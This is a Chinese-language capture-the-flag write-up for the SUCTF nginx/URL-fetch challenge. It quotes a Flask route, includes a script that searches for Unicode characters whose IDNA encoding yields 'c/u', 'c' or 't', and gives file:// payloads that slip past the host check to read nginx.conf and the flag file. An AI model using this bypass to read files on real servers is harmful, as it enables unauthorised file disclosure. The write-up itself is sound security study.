考查点:nginx配置文件,脚本爆破,字符编码进行绕过,
目录
解题过程
打开题目,是这样的
然后我们分析以下代码
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
<!-- Dont worry about the suctf.cc. Go on! -->
<!-- Do you know the nginx? -->
大致分析以下,我们传入url,代码会进行三个if判断是否host是suctf.cc,但是注意到只有第三个if判断成功之后才会执行读取文件的操作,所以这就是我们想要的突破点!!!
在那之前,我们需要绕过前两个if,同时我们看到第二个if和第三个if之间,数据进行了一次编码解码操作,意思是将域名的各个部分进行idna编码后,再进行utf-8解码,这就是关键点!!!
newhost.append(h.encode('idna').decode('utf-8'))
在我们传入的url中,应该是不存在suctf.cc,否则会被前两个if匹配,但是经历了这次编码解码操作,其中某些字符变为了suctf.cc,第三次if匹配成功,然后会进行读取文件的操作。
不过需要读取什么文件呢???才能获得想要的信息????
根据题目的提示nginx,这就需要了解nginx的一些配置文件信息。所以我们可以首先读取主配置文件,看看有什么东西。
配置文件存放目录:
/
etc
/
nginx
主配置文件:
/
etc
/
nginx
/
conf
/
nginx.conf
管理脚本:
/
usr
/
lib64
/
systemd
/
system
/
nginx.service
模块:
/
usr
/
lisb64
/
nginx
/
modules
应用程序:
/
usr
/
sbin
/
nginx
程序默认存放位置:
/
usr
/
share
/
nginx
/
html
日志默认存放位置:
/
var
/
log
/
nginx
1. 找可用字符
脚本跑一下,寻找可用的字符,下面的exp是网上找的,
# coding:utf-8
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass
关于那个判断结果中含有- 就跳过,是因为这样先编码后解码会有很多的结果是含有-的,这种事不符合要求的,所以跳过。比如下面这样的运行结果(下面的运行将跳过条件去掉了)
而我们想替换的是suctf.cc中只要编码解码后是包含在其中即可,网上出现比较多的一种payload用的是
U:℆ A:c/u ascii:8454 ,因为℆经过编码解码后就是c/u,这和我们想要的file://suctf.cc/usr/local/nginx/conf/nginx.conf,刚好℆可以替代c/u
另外再给出几种可用符号(这样的payload很多,大家可以在exp结果中寻找)
U:ℭ A:c ascii:8493 ℭ可以替换suctf.cc中的c
U:Ⓣ A:t ascii:9417 Ⓣ可以替换suctf.cc中的t
file://suctf.cℭ/usr/local/nginx/conf/nginx.conf
file://sucⓉf.cc/usr/local/nginx/conf/nginx.conf
2. 寻找flag的位置
输入框内输入:file://suctf.c℆sr/local/nginx/conf/nginx.conf 或者上面给出的其余两个或者自己找的
根据回显,可以得到flag的位置以及文件名称:/uesr/fffffflag
3. 构造payload:
file://suctf.cℭ/usr/fffffflag
file://suctf.c℆sr/fffffflag
file://sucⓉf.cc/usr/fffffflag
总结:本题考查的代码审计能力还是很不错的,而且关于nginx配置也可以从中学到一些知识,另外又学到了一种绕过知识。相比于大佬们,我还是太菜了。。。继续努力学习!!!
参考文章:
1. blackhat议题之一